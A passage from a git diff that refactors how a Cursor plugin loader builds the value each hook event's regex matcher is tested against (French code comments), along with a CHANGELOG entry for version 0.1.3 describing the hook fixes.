event, donc c'est ce loader qui + * reproduit la sémantique — sinon un matcher de plugin est testé contre la mauvaise valeur. + * `beforeMCPExecution`/`afterMCPExecution` comparent `MCP:` : le préfixe est + * synthétisé, il n'est jamais présent dans `tool_name` brut. + * @param hookType - Event Cursor (lower-camel). + * @param ctx - Valeurs extraites du payload. + * @returns La chaîne à confronter au matcher. + * @see https://cursor.com/docs/hooks — "Available matchers by hook" + */ +function matchTarget(hookType: string, ctx: MatchContext): string { + switch (hookType) { + case "beforeShellExecution": + case "afterShellExecution": + return ctx.command; + case "beforeMCPExecution": + case "afterMCPExecution": + return ctx.toolName ? `MCP:${ctx.toolName}` : ""; + case "subagentStart": + case "subagentStop": + return ctx.agentType; + case "beforeSubmitPrompt": + return "UserPromptSubmit"; + case "stop": + return "Stop"; + case "afterAgentResponse": + return "AgentResponse"; + case "afterAgentThought": + return "AgentThought"; + case "notification": + return ctx.notifType; + default: + return ctx.toolName; + } +} - const testValue = - hookType === "notification" - ? notifType - : hookType === "subagentStart" || hookType === "subagentStop" - ? agentType - : toolName; +/** + * Décide si une entrée de hook s'applique au contexte courant. + * + * @param matcher - Regex du manifeste ; absente, l'entrée s'applique toujours. + * @param hookType - Event Cursor. + * @param ctx - Valeurs extraites du payload. + * @returns `true` si l'entrée doit être exécutée. Une regex invalide renvoie `false`. + */ +function matchesEntry(matcher: string | undefined, hookType: string, ctx: MatchContext): boolean { + if (!matcher) return true; try { - return new RegExp(matcher).test(testValue); + return new RegExp(matcher).test(matchTarget(hookType, ctx)); } catch { return false; } diff --git a/CHANGELOG.md b/CHANGELOG.md index 49134c2..35f78c9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,16 @@ # Changelog +## [0.1.3] - 07-09-2026 + +- fix(hooks): stop Cursor plugin hooks failing silently on every event — + `plugin-scanner.ts` read the nested Claude Code `entry.hooks[]` shape + instead of Cursor's flat `{ command, matcher?, type? }`, `matchesFilter` + always tested `tool_name` instead of the command line / synthesized + `MCP:` / `subagent_type` per event, and `./scripts/hook.sh` + was never resolved to an absolute `cwd` before spawn. Also rewrote the + `hooks-harness-exclusive` anti-regression gate (22 → 106 assertions, + proven red path against shell-injection payloads) + ## [0.1.2] - 04-09-2026 - feat(fuse-ai-pilot): `beforeMCPExecution` wired to the `aipilot` scope (matcher